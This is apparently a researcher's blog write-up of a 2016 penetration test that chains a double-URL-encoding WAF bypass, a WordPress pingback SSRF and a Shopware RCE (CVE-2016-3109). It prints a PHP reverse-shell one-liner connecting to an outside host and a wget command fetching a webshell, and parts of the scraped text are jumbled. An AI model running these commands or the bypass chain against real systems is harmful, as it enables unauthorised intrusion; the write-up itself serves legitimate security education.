INTRO

In this blog post I will write about my thinking processes during the respective security audit and share my failed attempts with you as well. I hope that we can inspire motivate each other in the community to stay tuned and learn from ideas that were not successful in the particular case but can be used in the future in other (corner) cases for success.

TL;DR:

We will perform information gathering, bypass filter, abuse a SSRF, discover a zero-day RCE during research and finally exfiltrate sensitive information.

PREPARING THE PENTEST AND SCOPE

Back in 2016, I had performed a penetration test for which I received minimal information upfront. The goal was to infiltrate the target and access their internal systems or to exfiltrate (sensitive) internal information.

The scope was *.targetcompany.com

INFORMATION GATHERING

During the information-gathering phase, I crawled the web site and extracted the frameworks revealed in the HTML source or HTTP response headers. Once this step was finished, I manually reviewed the structures and started to look for version disclosures.



I quickly discovered that the company's blog was WordPress. So one obvious step for me was to check if I can access any admin interfaces or files without login.

That was not the case here, so next I checked the rendered HTML source and found a reference to the " xmlrpc.php " file.



When I tried to access the file, the server returned a "404 not found" error message. Since the file was referenced in the HTML code, I thought that they were probably using a WAF and had the "xmlrpc.php" on a blocked-list for any access from an IP address which is not part of their company network.

FILTER BYPASS

So quite naturally, I attempted to bypass the blocked-list by using the following encoding combinations:

//

%2f

%252f

%2f

%70

%252f

%2570

double URLencoding

out-of-band HTTP REQUESTS

pingback.ping

pingback.ping

pingback.ping

1. add a slash to the URL like this "https://blog.targetcompany.comXMLRPC.php"2. urlencode the slash once: "https://blog.targetcompany.com/XMLRPC.php"3. urlencode the slash twice: "https://blog.targetcompany.com/XMLRPC.php"5. urlencode the slash once and urlencode one other char:"https://blog.targetcompany.com/XMLRPC.ph6. urlencode the slash and one other char twice:"https://blog.targetcompany.com/XMLRPC.phThe successful condition utilized double URLencoding. The WAF/Application was decoding the user-submitted input only once before performing the string-comparison with the strings in the blocked-list.So the 6th payload withbypassed their filter, and I now could access the "XMLRPC" controller from an external IP address.The next step was to check by exploiting the existing endpoint, if it is possible to performNext, I looked if they have an older version of the "XMLRPC" controller in place so that I could use the "" method to make outbound requests to my external server and expose internal IP addresses or other routes that, for example, are not behind a DDoS protection like the one that Cloudflare or AKAMAI offers.To verify if the "" method is available; I posted a request to list the available methods.The "" method is available on the target system. Nice!

The next step is to check if we can make out-of-band HTTP requests so that we can potentially abuse this like a Server-side Request Forgery (SSRF) later and use it to gain access to internal hosts and (sensitive) internal information.

The HTTP request was successful, however I was yet to gain access to any potentially sensitive information. At this point in time, I could enumerate or brute-force internal server names.



I decided to check for internal hostnames by using "crt.sh" or a similar service, which would help me to quickly identify subdomains or internal-only hosts due to the leak of the hostnames in the public SSL certificates.



I found a few generic sounding subdomains like "portal.int.targetcompany.com", "backend-cms.int.targetcompany.com", "checkout.portal.int.targetcompany.com", but I did not know what software was running there. But one that caught my attention was:

http://shopware.int.targetcompany.com



Next, I spent my time looking for publicly available exploits in Shopware that would allow me to obtain code execution. However, no exploits were found so I decided to dig down deeper and hunt for zerodays in Shopware by myself.

ZERODAY RESEARCH

I decided to download the source code of shopware and hunt for zeroday vulnerabilities. After a couple of hours of research, a remote code execution was identified in the " /backend/Login/load " module. Next, after investigating the root cause and identify the sinks I wrote a proof of concept exploit code for it and verified it on my local Shopware installation so that I can add this exploit to my exploit chain in this pentest.

ATTACK SCENARIO

pingback.ping

pingback.ping

(INCOMPLETE) TRUST BOUNDARIES

Now my attack scenario looks like this:1. bypass the filter to access restricted methods such as "" in the "xmlrpc.php"2. Use the "" method to make a HTTP GET request to the internal Shopware3. with the RCE exploit I can finally spawn a reverse shell on the target system or exfiltrate internal information

EXPLOITATION

This is an incomplete Threat Model in order to identify the trust boundaries I had in my mind.

${{`php -r '$sock=fsockopen("secalert.net",23232);exec("/bin/sh -i &3 2>&3");'`}}

wget http://secalert.net/exploits/reverse-shells/webshell.php;chmod +x webshell.php

FINAL THOUGHTS

The final chained exploit code looked like in the next screenshot.So that it can be read easily I've attached it in plaintext in the picture.The original request was URL-encoded before being sent.At this point we could also have tried to spawn a reverse-shell like this:or place a web shell on the target system like this:and from this point use the web shell instead of the issue in Shopware.

I had lots of fun while performing this pentest. I was thrilled to find any exploitable issue in Shopware because I was highly motivated to gain access to internal systems and data.

My research of the Shopware source code lead to CVE-2016-3109



After the pentest the target company told me that they were evaluating Shopware on this internal system and had not yet put efforts in protecting it.



Fortunately, there are many talented people in the infosec community today who share their findings with us and blog about them or post them on Twitter. Thanks for that.

You are awesome!

Unfortunately, these posts are sometimes short and focus on the final exploit code and show the happy path without giving more in-depth insights into the researcher's mindset. In my opinion, these thoughts are worth their weight in gold and are incredibly inspiring.



Hopefully, this article gave you insights and motivates you to keep focus and don't give up if you cannot quickly find severe issues in your target scope.

THANKS

I want to thank the Shopware Team for a very friendly and professional communication when I contacted them and supplied the proof of concept for what later became CVE-2016-3109.



Also I want to thank the following individuals for proof-reading this blog post:

@cschneider4711

@garethheyes

@irsdl

@janmuenther

@rafaybaloch

@RobinVerton

@payloadartist

REFERENCES

There are a few nice articles about other researches regarding the "xmlrpc" controller:

1.https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-alert-wordpress-xml-rpc-brute-force-scanning/2. https://www.acunetix.com/blog/articles/wordpress-pingback-vulnerability/3. https://blogs.akamai.com/2014/03/anatomy-of-wordpress-xml-rpc-pingback-attacks.html4. If you know other cool articles, drop me a message and I will add the references :)